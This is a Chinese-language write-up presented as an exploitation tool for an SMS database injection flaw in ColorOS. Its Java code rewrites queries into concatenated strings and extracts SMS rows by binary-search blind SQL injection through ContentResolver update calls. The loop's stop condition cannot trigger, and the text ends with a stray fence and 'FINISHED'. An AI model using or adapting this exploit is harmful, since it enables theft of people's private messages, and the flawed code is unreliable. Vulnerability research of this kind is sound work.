ColorOS 短信数据库注入漏洞深度剖析与利用工具

// QueryParser.java 核心片段 - 解析并改写 SELECT 为单列拼接
public class QueryParser {
    // ... 使用 JSQLParser 解析 SQL
    public String buildInjectionQuery(String originalQuery) {
        // 1. 解析原始 SELECT 语句
        Select select = (Select) CCJSqlParserUtil.parse(originalQuery);
        PlainSelect plainSelect = (PlainSelect) select.getSelectBody();

        // 2. 获取原始查询的字段列表，如果没有指定（如 SELECT *），则从 sqlite_master 反解析表结构获取字段
        // ... (省略获取列的复杂逻辑) ...

        // 3. 关键步骤：将多列查询改写为单列拼接查询
        // 例如将 "SELECT address, body FROM sms" 改写为 
        // "SELECT address || '!!' || body AS combined_row FROM sms"
        // 这样每一行数据都变成了一个长字符串，各列用 "!!" 分隔
        List<String> columnNames = getColumnList(plainSelect);
        StringBuilder combinedColumns = new StringBuilder();
        for (int i = 0; i < columnNames.size(); i++) {
            if (i > 0) {
                combinedColumns.append(" || '").append(ROW_CONCAT_DELIM).append("' || ");
            }
            combinedColumns.append(columnNames.get(i));
        }
        // 构造新的内部查询
        String innerQuery = "SELECT " + combinedColumns.toString() + " AS combined_row FROM (" + originalQuery + ")";
        return innerQuery;
    }
}

// MainActivity 核心片段 - 二分法盲注提取单行数据
// 假设已通过 COUNT(*) 确定了总行数，现在要提取第 N 行 (OFFSET N-1)
private void extractRowByBinarySearch(Uri uri, String baseWhere, int rowIndex) {
    String targetRowQuery = originalQuery + " LIMIT 1 OFFSET " + rowIndex; // 定位到特定行
    String combinedRowQuery = "SELECT combined_row FROM (" + targetRowQuery + ")"; // 使用改写后的查询获取拼接串

    StringBuilder rowStringBuilder = new StringBuilder();
    // 对每个字符的位置进行循环
    for (int pos = 1; ; pos++) {
        int low = 0x20; // 空格
        int high = 0x7E; // 可打印字符范围 '~'

        // 二分查找字符的 ASCII 码
        while (low < high) {
            int mid = (low + high) / 2;
            // 构造 WHERE 子句，判断当前字符的 ASCII 码是否在 [low, mid] 区间
            // 例如: WHERE unicode(substr(combined_row, pos, 1)) BETWEEN low AND mid
            String whereClause = String.format(Locale.US,
                "unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
                combinedRowQuery, pos, low, mid
            );

            ContentValues values = new ContentValues();
            values.put("data1", "dummy"); // 触发更新的数据
            try {
                // 核心注入点：执行 UPDATE 操作，通过 WHERE 子句进行 SQL 注入判断
                // 如果条件为真，则会更新某行（或约束异常返回 >0），否则返回 0
                int count = getContentResolver().update(uri, values, "1=1 AND (" + whereClause + ")", null);
                if (count > 0) {
                    high = mid; // 字符在当前区间内，缩小范围
                } else {
                    low = mid + 1; // 字符不在当前区间，提高下限
                }
            } catch (Exception e) {
                // 某些情况下，数据库可能通过约束异常来返回“真”的结果，需要根据实际情况调整
                Log.d(TAG, "Update exception, treat as 'true' condition", e);
                high = mid;
            }
        }

        char currentChar = (char) low;
        if (currentChar == '\0') { // 假设字符串结束符
            break;
        }
        rowStringBuilder.append(currentChar);
    }

    // 得到一个完整的行字符串，例如 "1234567890!!这是短信内容"
    String fullRow = rowStringBuilder.toString();
    // 按 "!!" 分隔，还原成各列
    String[] columns = fullRow.split(ROW_CONCAT_DELIM, -1);
    // ... 将 columns 记录到 UI 或日志中
}
```FINISHED